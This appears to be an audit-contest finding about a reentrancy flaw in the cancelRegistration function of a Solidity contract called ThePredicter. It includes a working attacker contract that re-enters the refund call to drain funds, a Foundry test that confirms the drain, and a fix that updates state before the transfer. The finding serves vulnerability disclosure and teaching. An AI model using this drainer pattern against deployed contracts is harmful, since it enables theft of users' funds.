First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentracy Attack in `ThePredicter::cancelRegistration`, this function did not update `playersStatus[msg.sender]` before transfer `entranceFee` back to user, malicious user can steal all money from contract

kazan

Description

The cancelRegistration function allows the Users which are still not approved for Players to cancel their registration and to withdraw the paid entrance fee. But it transfered entranceFee back to user before update playersStatus[msg.sender] make it's vulnerable to reentrancy attack. Because the user can be a contract and can call cancelRegistration function again when it received the entranceFee.

Impact

The ThePredicter contract can lost almost all of it funds.

Tools Used

Manual review and Foundry.

PoC

First, make the Attacker contract

contract Attacker {
ThePredicter public immutable i_thePredicter;
​
constructor(ThePredicter _thePredicter) {
i_thePredicter = _thePredicter;
}
​
function attack() public {
i_thePredicter.register{value: i_thePredicter.entranceFee()}();
i_thePredicter.cancelRegistration();
}
​
fallback() external payable {
if (address(i_thePredicter).balance >= i_thePredicter.entranceFee()) {
i_thePredicter.cancelRegistration();
}
}
​
receive() external payable {
if (address(i_thePredicter).balance >= i_thePredicter.entranceFee()) {
i_thePredicter.cancelRegistration();
}
}
}

Then, pass this test into ThePredicter.test.sol

function test_reentrancyAttackCancelRegistration() public {
// One user register
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
// Attacker attack
Attacker attacker = new Attacker(thePredicter);
​
vm.startPrank(address(attacker));
vm.deal(address(attacker), 1 ether);
uint256 attackerBalanceBefore = address(attacker).balance;
attacker.attack();
vm.stopPrank();
​
uint256 attackerBalanceAfter = address(attacker).balance;
​
assert(attackerBalanceBefore < attackerBalanceAfter);
}

Test pass, the attacker have more money than before.

Recommendations

Follow CEI design pattern, update playersStatus[msg.sender] before transfer entranceFee back to user.

​
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.